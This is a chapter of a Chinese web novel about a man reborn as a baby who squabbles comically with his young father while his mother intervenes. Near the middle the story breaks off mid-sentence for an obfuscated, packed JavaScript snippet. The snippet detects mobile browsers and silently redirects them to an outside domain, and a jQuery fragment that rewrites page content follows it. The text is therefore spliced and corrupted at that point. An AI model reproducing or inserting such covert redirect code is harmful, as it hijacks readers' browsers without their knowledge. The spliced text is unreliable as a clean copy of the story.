厚颜无耻!
看着在江娘子面前打躬作揖,故作嬉笑的顾良远,已经能预见后续走向的顾谨安再次忍不住朝天翻了个白眼。
至于孙娘子和银丹,以及跟随江娘子一同到来的大丫鬟佩兰,才来了几个月的顾谨安都能觉察到的事情,她们自然更是瞬间心领神会,在确定了顾谨安确实无甚大碍之后,就抿嘴偷笑着悄悄的退到了屋外,还贴心的将房门掩上,把屋内的空间完全留给了夫妻二人。
什么?你说屋内明明有三个人。
对此贴心三人组一致表示小孩懂个啥。
再次被忽略留下来吃狗粮的顾谨安不开心,他要闹了。
今天就算不能让冒失爹吃到教训,也决不能让他尝到甜头,才穿越的他浑浑噩噩的狗粮吃了就吃了,可自从上一次发烧之后他的脑子却越来越清醒,决计不在这种令他无比尴尬的氛围中与两人同出一屋,虽然大中午的也干不了什么太出格的事情,但他总感觉这样下去自己迟早得长针眼。
“哇哇哇——”
震天响的婴孩哭喊声再次响彻整个院子,让屋内外的人又是一阵忙乱。
臭小子!
差点就能握上自己亲亲娘子手的顾良远看着再次被洞开的屋门以及重新进入屋内的三人组,又看看在娘子怀中只干嚎不流泪的顾谨安,忍不住抬眼四处寻找,却发现烛台太硬窗幔太柔,一时竟没有什么趁手的东西的来教育这个不让人省心的小子。
“你个小魔星!”
就此放过又不甘心,最后顾良远只得用随身佩戴的荷包上的络子轻轻抽了一下顾谨安紧紧攥着江娘子衣襟的手,瞬间就接受到了几道不赞成的目光,其中就属他亲亲娘子的最不赞成。
“……嘿嘿,我逗他呢,娘子你看,他可喜欢了,是吧,嘬嘬嘬。”
顾良远拿着荷包极力想要证明自己所言非虚,然而一心想要他好看又被当做狗逗的顾谨安丝毫不给他面子,只憋着嘴缩在江娘子的怀中,完美的维持着一个小可怜的模样。
“够了!”
江娘子也受不了他这逗子如逗狗的模样,一把夺过他手中的荷包,但到底顾忌着有侍女在侧不能太落他的面子,长出了一口气后方才言语温和的问道,“五爷今日无事吗?怎么不去翰墨轩或者抱石斋走走,前日里听闻他们似是来了新货。”
只差明说让他没事就滚不要来折腾儿子的江娘子有些后悔刚刚沉溺在他的容色中,以至于错失了无人时教夫的机会,至于以上提到的两个店铺中是否真的来有新货,她半点不在意的。
“我一早就去看过了,无甚新奇的东西。”
才怪,他就是没抢过才打算回来偷渡孩子去找那个尚无子嗣的混蛋炫耀,可惜臭小子人不大却鬼精鬼精的,让他出师未捷身先死。
听出妻子言外之意顾良远有些讪然,掩饰般的伸手摸了摸鼻子,又故作无事人一般走到江娘子一旁的位置上坐下,有些愤愤然的看着目的达成后又收了声的儿子,手痒痒的又想将他的脸扒拉出来捏一捏,可惜还未付诸现实,就被一直警惕着他的江娘子识破了。
“……你要是真没事,就把之前欠下的书画债一鼓作气的都偿还了,也免得他人三天两头的就下帖来催。”
嗔怪的看了他一眼,江娘子又伸手替顾谨安整理立刻一下他因哭闹而有些凌乱的衣服,生怕哪里局促着让他不舒服。
看到江娘子帮顾谨安整理衣服,一直候在一旁的孙娘子急忙上前来协助,大丫鬟佩兰也从旁搭了把手。
“哪那么容易,近日无甚思绪,就是把我绑在椅子上也画不出什么的,且让他们再等着吧。”
被催债的顾良远有些头疼的摆了摆手,目光却依旧不离儿子圆圆的脑袋。
突然被三位女子团团围住,倒是让一直装可怜看冒失爹热闹的顾谨安不好意思了起来,尤其这三人中除了孙娘子,其余两人的年纪都还没有他前世大,就连顾良远,放在他前世里也是刚刚可以参加高考的年纪,跳脱一点情有可原,何必和他计较那么多……多个屁!他要和他决斗!
这样宽慰着自己的顾谨安刚把脸从江娘子怀中转过来,就被蓄谋已久的顾良远捏住了脸颊,有可疑的液体不受控制的滴落在他最喜欢的大红夹棉老虎服上。
整个人呆滞了三秒,直到有柔软的帕子从嘴角擦过,顾谨安才被迫接受了自己被顾良远捏出口水的这一个事实。
恼意直冲天灵盖的他也顾不得其他,张牙舞爪的尖叫着就向顾良远直扑而去,动作之快,力道之大,让江孙二人都拉不住他,看着他直直向顾良远的方向倒去,忍不住失声惊呼,好在顾良远反应迅速,虽然自己重重的单膝跌跪在地上,疼得龇牙咧嘴的,但好歹接住了他,为他免了一遭头破血流的劫难。
但对此顾谨安半点都不感激,又或者说恼羞成怒的他根本没有注意到这一点,反而趁着顾良远的脸和他同处一个水平面上狠狠扒拉着咬住,听到其痛呼之后方才有些解气的松开了嘴。
要不是刚长出来的牙齿承受不住这么大力的撕咬,他今天高低要让冒失爹看到点颜色。
想他顾谨安,从小到大都是人人夸赞的别人家孩子,就连后来他父母离婚各自成立了家庭之后都不怎么管他了,但在外炫耀时都时时不忘提起他的名字,什么时候出过这么大的丑。
“可不能咬!”
“娘子快帮我看看一定是毁容了!”
而已经回到孙娘子怀中的顾谨安则深藏功与名。
“安儿!你怎么可以这样。”
顾良远的痛呼声中,江娘子先是十分紧张的查看了一下他的脸,发现只留了两个小小的印子之后,便十分严肃的看向顾谨安,让有些小得意正用舌尖舔舐着微微发疼牙齿的他顿时停住了动作。
上一次江娘子这么严肃,还是他爹悄悄要带他出去玩让他发了一场高烧的时候。
悄悄抬眼看了一眼顾良远,见他顶着两个牙印的滑稽模样忍不住又有些想笑,但晃眼看到江娘子的严肃状又有些心虚,思来也是,被顾良远捏成口水觉得丢人,但因此啃了他一脸牙印就不丢人了吗?
幼稚!丢脸!
想通这一点的他有些恹恹靠回孙娘子的怀里,为自己突然退化到婴儿的幼稚举动而伤心。
这副认真可怜的小模样倒是让先摔了一跤,又被啃了两个牙印有些生气的顾良远先心疼起来,看妻子一副要让儿子好看的样子,急忙出言给儿子求情。
“娘子,我无甚大碍,你就不要生……”
“你爹爹从外面回来,不知道吃了多少尘土,你就这样啃上去再拉肚子可怎么是好,银丹,快去倒杯水来,我要亲给安儿漱漱口。”
说着,江娘子一边嫌弃一边拿出自己的帕子给他擦嘴,银丹则在领命后飞快端来一杯温水。
“孩子的气……”
看着瞬间就递到江娘子手边的茶盏,莫说顾良远未说完的话险些卡在嗓子里,就是暗自神伤的顾谨安也有些呆滞了,在看到顾良远满脸不可置信之色的时候瞬间又咧开只长了几颗小牙的嘴巴,无声的嘲笑着自作多情的人。
“……娘子,我不脏的。”
被一向爱重自己容貌的娘子背刺,又被向来不省心的儿子嘲笑之后,顾良远不甘心的为自己辩驳,只是此刻屋中所有人的关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458049|169608||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
注点都在正在自己端着水杯漱口的顾谨安身上,并没有人理会他。
被忽略了个彻底的顾良远只得缓缓来到江娘子身旁,幽幽的看了一眼正认真漱口的顾谨安,叹了口气道。
“娘子,你变了。”
“噗嗤——”
这话一出除了江娘子,其余人都忍不住喷笑出声,虽然很快就止住了笑声,但微微颤动的肩膀依旧出卖了她们此刻的心情。
而被这话麻了一跳的顾谨安则险些把口中的水直喷出去,好在此刻成人强大的自制力又回到了他的身上,才让站在他对面的人免去漱口水洗脸的灾难,完美将水吐进佩兰捧着的漱盂之后,才忍不住抬起憋得通红的脸控诉的看向顾良远。
这人是想把他呛死吗?呛死了他这么聪明的儿子去哪里找第二个。
已经接受了穿越事实,并确定自己多半是回不去原来世界的顾谨安完美代入了儿子的角色。
“爷是越发不着调了,还是快快离了安儿的屋子去做正事吧。”有些羞恼的江娘子推了他一把,反被其握住了手。
“哪里不着调了,娘子一心扑在安儿的身上,让为夫很是伤心呢。”
顾良远本就长得极好,此刻又故作伤心,一双桃花眼中满是委屈,让顾谨安觉得眼熟的同时,也让江娘子彻底红了脸。
“油嘴滑舌,孩子看着呢。”
江娘子含羞轻捶了一下顾良远的肩膀。
“他懂什么……唉哟,别揪我头发!”
看着故作委屈却又孔雀开屏的顾良远,终于知道刚刚那抹熟悉感来自于哪里了。
居然偷学小孩子不要脸!
手比脑快的伸了出去想让他闭嘴,却因错误估算了距离不小心揪住了他的头发,虽然在觉察不对之时就松了手,但对方原本束得板正的发髻还是被他扯下来了几缕。
再次心虚的缩回孙娘子怀里对手指,半点不敢看气鼓鼓看着自己的顾良远。
“娘子你看他。”
控诉没有得到回应的顾良远再次选择和娘子告状,江娘子看着父子俩的模样也是有些头疼。
她就说不能让夫君靠近安儿五米内吧,一个大孩子一个小孩子,只有彻底隔开才能杜绝隐患。
“来我给你整理一下,父子俩乌眼鸡一样的作甚。”
“还是娘子好。”
看着顾良远端坐在椅子上美滋滋的让江娘子给他整理发髻,顾谨安在心中哼了一声就眼不见心不烦的移开了视线。
才不要看别人秀恩爱呢。
终于得了一个清静的众人忍不住相视一笑。
然而就在这时,屋外却有忙乱的脚步声传来,隐约中还有丫鬟翠羽询问的低语。
“是松墨,我不是让他在外院候着吗,怎么在这时跑进来了?”
听出来人是自己的小厮松墨,顾良远也有些奇怪。
“好啊,你果然是来打算偷抱走安儿的。”
从这话中一下子就听出他打算的江娘子恨恨道,正给他束发的手上也加了些许的力道。
“……还是让松墨进来问问是发生了何事让他如此着急忙慌的吧,莫不是前几日我让他留意的那株兰草有了眉目。”
被识破打算的顾良远此刻可不敢喊疼,迅速在顾谨安鄙视的目光中转移了话题,江娘子十分爱花,这个转移话题的办法向来屡试不爽,而且他也不是信口开河的,前些日子的确在一友人家看到一株品相极佳的兰草,只是那人不肯割爱,还有得几日磨磨。
江娘子虽气他半点不将自己的话放在心上,但也因他提到的兰草消了几分气,当即吩咐佩兰出去将松墨引了进来。